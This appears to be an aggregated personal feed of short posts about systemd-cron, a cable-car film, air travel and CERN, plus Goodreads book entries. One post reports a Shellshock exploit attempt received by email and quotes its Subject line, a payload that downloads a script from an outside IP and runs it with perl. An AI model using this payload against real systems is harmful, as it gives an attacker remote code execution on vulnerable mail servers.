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"I'm opposed to sites that are designed in such a way that it's easy to hide high-quality content that challenges the existing narrative."

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Embassytown
Embassytown
author: China Miéville
name: Joey
average rating: 3.83
book published: 2011
rating: 0
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date added: 2014/10/29
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no vixie cron on laptop

I switched my laptop to systemd-cron. vixie cron is a beloved old thing, but it wakes up once per minute, checks every cron job to see if any need to run, and that's not ideal on a laptop; it wastes battery power.

systemd-cron still has some rough edges, but it avoids doing that; no wakeups until the next time a job is scheduled to run. Actually, systemd-cron is just a few hundred lines of python code, that translate crontabs into systemd service files. It's developed independently of systemd, it just reuses systemd's timer support to implement cron and anacron.

One thing that systemd-cron doesn't support, since a standard crontab cannot express it, is the ability for the system to wake from suspend when a job is scheduled to run. Imagine a backup server that wakes up when the next backup is scheduled, and then goes back to sleep until the next day or next week. Or a mpd box that's not always left on, but wakes up to pull down the latest podcasts at the times their RSS feeds say they'll be published. Systemd does support timers that do that, so it can be done with a custom service file.

... Hmm, or a laptop that wakes up at 7 am to download the morning email blast and optionally to be an alarm clock. I think I might just code that up. :)

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There are some really funny bits buried in the tedium of it all. A great overheard conversation from guys in the seat behind about greek yogurt and spoons and the difficulty of balancing creative expression with making money.

But the best part is the stretches where nothing happens. The mannequin hand is fumbling with the seat back latch tab, flipping it back and forth aimlessly, for 20 minutes. The only available freedom of movement. BTDT.

You find yourself desperately trying to find a distraction. The film runs in the background, impinging on your awareness just enough that you can't entirely concentrate on anything.

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din-don

"We're really gonna go ahead and limit the number of announcements, to let you guys get a little shut-eye before we land."

din-don

"By the way, um, we have handed out blankets. We are out of blankets."

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Pretty sure not postfix! ;)

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Received email message that attempted to exploit shellshock bug. Manually joined the attacker's CNC irc channel, and it seems at least 2 mail servers were actually successfully exploited this way.

Subject: () { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download  178.254.31.165/ex.txt;fetch
        178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
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I remember compiling minix on one of these! Only for fun, as I was using linux on pentiums already at the time.

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Actually, the LHC has a safety feature that involves diverting the beam at a rock formation under a mountain if they need to dump it in an emergency. It is a death ray at that point; just one carefully aimed.

I was amused during our tour of CERN when someone had really specific questions about the engineering of that, down to the ms.

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I run unstable on most of my servers, with automatic daily upgrades. Caution? What's that? :)

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Apple sauce with quince, no sweetening. So sour, so yum.

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A partially shaven yak is a sad yak. Unless you're going for the poodle yak look.

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laundry selfie

Sneedville is a true one horse town, in fact it's not unusual to pass a youth riding a horse, often bareback, in the road here.

Sometimes it feels a lot like the wild west buried in the middle of the eastern Appalachians.

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Hey, I snapped that pic! :)

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obnam is racing a thunderstorm

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cable car. people. 10 minutes. repeat

I've been struggling for an hour or some timeless instant to say something about the film Manakamana. And that's what the film is about to me: Our perception of time, the way it varies from the constant now of fresh discovery, to repititon's slow tedium, to a racing familiarity where the ice cream seems to melt too fast.

Or just pretty views and interesting people on a cable car. Either way, worth a watch if you can.

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books
Erewhon (Erewhon , #1)
Erewhon (Erewhon , #1)
author: Samuel Butler
name: Joey
average rating: 3.35
book published: 1872
rating: 3
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date added: 2014/10/29
shelves: currently-reading
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Shaman
Shaman
author: Kim Stanley Robinson
name: Joey
average rating: 3.46
book published: 2013
rating: 0
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date added: 2013/10/31
shelves: currently-reading
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The Long War (The Long Earth #2)
The Long War (The Long Earth #2)
author: Terry Pratchett
name: Joey
average rating: 3.52
book published: 2013
rating: 2
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date added: 2013/07/26
shelves: currently-reading, and-a-half-stars
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Railsea
Railsea
author: China Miéville
name: Joey
average rating: 3.91
book published: 2012
rating: 0
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date added: 2013/05/18
shelves: currently-reading
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